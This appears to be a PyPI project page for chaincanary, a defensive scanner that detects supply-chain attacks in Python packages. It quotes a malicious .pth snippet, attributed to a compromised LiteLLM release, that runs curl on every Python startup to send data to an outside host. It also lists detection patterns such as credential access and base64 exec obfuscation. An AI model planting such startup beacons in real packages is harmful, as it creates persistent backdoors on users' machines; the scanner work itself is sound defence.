Skip to main content

Security scanner for Python packages โ€” detects supply chain attacks before they execute

Project description

๐Ÿ›ก๏ธ chaincanary

Stop malicious Python packages before they execute.

CI PyPI version Python 3.9+ License: Apache 2.0


What happened

On March 24, 2026, LiteLLM 1.82.7 was published to PyPI with a hidden .pth file:

# litellm_init.pth โ€” executes on every Python startup
import subprocess, sys
subprocess.Popen(
    ['curl', '-s', 'https://models.litellm.cloud/beacon', '-d', sys.version],
    stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL
)

This file runs every time you start Python โ€” not just during pip install. It was downloaded ~95 million times per month. The package was flagged and removed, but not before significant exposure.

chaincanary was built to catch this.


Quick demo

pip install chaincanary

# Scan LiteLLM 1.82.7 (the compromised version)
chaincanary check litellm 1.82.7
๐Ÿ” chaincanary โ€” Analyzing litellm==1.82.7

โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ
โ”‚ Severity   โ”‚ Rule                         โ”‚ Title                                โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚ CRITICAL   โ”‚ PTH_FILE_INSTALL             โ”‚ .pth file installs dangerous code... โ”‚
โ”‚ CRITICAL   โ”‚ PTH_NETWORK_BEACON           โ”‚ phone-home on every Python startup   โ”‚
โ”‚ CRITICAL   โ”‚ PTH_SUBPROCESS               โ”‚ subprocess on every Python startup   โ”‚
โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ

  Score: 10.0 / 10.0
  Verdict: โ–ˆโ–ˆ MALICIOUS

  Rollback: pip install litellm==1.82.6

Install

pip install chaincanary

Requires Python 3.9+. No Docker. No root. Works on Linux, macOS, Windows.


Usage

Scan a single package

chaincanary check requests 2.28.0
chaincanary check litellm latest

Audit your entire project

chaincanary audit requirements.txt
chaincanary audit pyproject.toml

Output:

๐Ÿ” chaincanary audit โ€” requirements.txt (42 packages)

Scanning packages... โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ 100%

โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ
โ”‚ Package          โ”‚ Version โ”‚ Score โ”‚ Verdict  โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚ litellm          โ”‚ 1.82.7  โ”‚ 10.0  โ”‚ MALICIOUSโ”‚
โ”‚ suspicious-lib   โ”‚ 0.3.1   โ”‚  7.5  โ”‚ HIGH_RISKโ”‚
โ”‚ requests         โ”‚ 2.28.0  โ”‚  0.0  โ”‚ SAFE     โ”‚
โ”‚ ...              โ”‚ ...     โ”‚  0.0  โ”‚ SAFE     โ”‚
โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ

โœ— 2 package(s) failed the audit.

Compare two versions

chaincanary diff litellm 1.82.6 1.82.7
Version diff: litellm 1.82.6 โ†’ 1.82.7

  Added files:  litellm_init.pth   โ† NEW .pth file
  Removed:      (none)
  [CRITICAL] New .pth file with network beacon

Safe install

# Scans before installing, blocks if malicious
chaincanary install litellm==1.82.7

Recommended workflow

Use chaincanary install for individual packages and chaincanary audit in CI. Aliasing pip to chaincanary is not recommended โ€” it changes timing expectations (chaincanary downloads + scans before installing) and may break flags like -e . or -r.

# Individual package โ€” scan then install
chaincanary install requests==2.32.0

# CI โ€” scan all dependencies before deployment
chaincanary audit requirements.txt --fail-on HIGH_RISK

JSON output (for pipelines)

chaincanary check litellm 1.82.7 --json-output | jq '.verdict'
# "MALICIOUS"

chaincanary audit requirements.txt --json-output \
  | jq '.results[] | select(.verdict != "SAFE")'

GitHub Action

Add to any repo to block malicious packages on every push:

# .github/workflows/security.yml
name: Supply Chain Security

on: [push, pull_request]

jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Scan dependencies for supply chain attacks
        uses: allenenli/chaincanary@v0.1.0
        with:
          requirements: requirements.txt
          fail-on: MALICIOUS   # or HIGH_RISK for stricter mode

That's it. The action will fail your build if any package matches a known attack pattern.


What chaincanary detects

.pth attack (LiteLLM 1.82.7 pattern)

.pth files in Python site-packages execute on every interpreter startup โ€” not just during install. This makes them ideal for persistent backdoors.

chaincanary understands the difference:

.pth content Classification Finding
Empty Normal โœ“ silent
/usr/local/lib/... Path-only โœ“ silent
setuptools distutils shim Safe code โš  LOW
subprocess.Popen(['curl', ...]) Dangerous ๐Ÿ”ด CRITICAL

Other attack vectors

What Where Severity
Network call during pip install setup.py HIGH
Shell command during pip install setup.py HIGH
exec(base64.decode(...)) obfuscation anywhere HIGH
Network call on every import __init__.py MEDIUM
SSH / AWS credentials access anywhere HIGH
Path traversal in wheel zip .whl structure CRITICAL
Known malicious SHA256 hash .whl file CRITICAL

What chaincanary does NOT do

  • Does not install packages
  • Does not execute any package code
  • Does not require Docker or privileged access
  • Does not send package contents to any server
  • Does not replace pip โ€” it scans before you decide to install

How it works

pip install request      โ† your intent
      โ†“
chaincanary                 โ† intercepts
      โ†“
Download wheel (no install, no execute)
      โ†“
Static analysis:
  - Zip safety (path traversal, zip bomb)
  - .pth file semantic classifier
  - AST analysis of setup.py / install hooks
  - Obfuscation detection
  - __init__.py delayed-trigger scan
  - SHA256 hash database
      โ†“
Score 0โ€“10 โ†’ Verdict: SAFE / LOW_RISK / HIGH_RISK / MALICIOUS
      โ†“
Block or proceed

No sandboxing, no Docker, no kernel modules. Pure Python static analysis that runs in seconds.


Comparison

Tool Detection scope Behavioral .pth analysis No Docker Lockfile audit Speed
chaincanary Supply chain behavior โœ… semantic + content โœ… โœ… ~2s/pkg
pip-audit Known CVEs + dep confusion โŒ โœ… โœ… fast
Safety Known CVEs (advisory DB) โŒ โœ… โœ… fast
Trivy SBOM + CVEs (image/repo) โŒ โœ… โœ… slow
Bandit SAST (your source code) โŒ โœ… โŒ fast
socket.dev Publish-time behavior diff partial โœ… โœ… fast

chaincanary is not a CVE scanner โ€” it doesn't check advisory databases. It's a behavioral scanner: it looks at what a package does, not whether it appears in a known-bad list. Use it alongside pip-audit/Safety for full coverage.


Known Limitations

chaincanary is a static behavioral scanner, not a magic bullet. Know its blind spots:

Gap What it means Workaround
No C extension analysis Malicious .so/.pyd files aren't scanned Sandbox (v0.3)
No CVE database Won't catch known vulnerabilities Use alongside pip-audit
No dynamic sandbox Side-effects on import not executed Static signals only (for now)
Multi-stage payloads Pkg that downloads payload at runtime looks clean Network monitoring (v0.3)
Private registries Can't download from non-public PyPI mirrors --offline flag (v0.2)

โ†’ Full limitation table: ROADMAP.md#known-limitations


Roadmap

Version Theme ETA
post-0.1 Scoring fixes, DNS exfil, typosquatting, git deps โœ… done
v0.2 Hash feed, SARIF output, --timeout, pre-commit hook soon
v0.3 Lightweight sandbox, package reputation, npm/cargo later

โ†’ Full plan: ROADMAP.md


Contributing

git clone https://github.com/allenenli/chaincanary
cd chaincanary
pip install -e ".[dev]"
pytest tests/

PRs welcome โ€” especially:

  • New malicious hash signatures
  • Detection rules for new attack patterns
  • False positive reports (real packages that chaincanary misflags)

License

Apache 2.0. See LICENSE.


Built after the LiteLLM supply chain attack, March 2026.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

chaincanary-0.1.0.tar.gz (41.0 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

chaincanary-0.1.0-py3-none-any.whl (39.6 kB view details)

Uploaded Python 3

File details

Details for the file chaincanary-0.1.0.tar.gz.

File metadata

  • Download URL: chaincanary-0.1.0.tar.gz
  • Upload date:
  • Size: 41.0 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.11.6

File hashes

Hashes for chaincanary-0.1.0.tar.gz
Algorithm Hash digest
SHA256 2c6b6455ec83b2592defba8dbd8f0ec5c5589c568e8a7104854c91f2f9e09012
MD5 71a43b745fd3dcc3054b4bc93b758f07
BLAKE2b-256 38571338a8408aa893d2774c22df5d997b62bc915c027ffd5160b565127e54d8

See more details on using hashes here.

File details

Details for the file chaincanary-0.1.0-py3-none-any.whl.

File metadata

  • Download URL: chaincanary-0.1.0-py3-none-any.whl
  • Upload date:
  • Size: 39.6 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.11.6

File hashes

Hashes for chaincanary-0.1.0-py3-none-any.whl
Algorithm Hash digest
SHA256 27525d62160890757d56b8426ac69ac3e605566237adc5488507b4e972100ce3
MD5 f4560260aeca13125d81fd8633b6cfd5
BLAKE2b-256 fb30ac957f7e22560dcc2e8ee37e9b2c99a1bc3a7031d03aa6e894317bd947b7

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page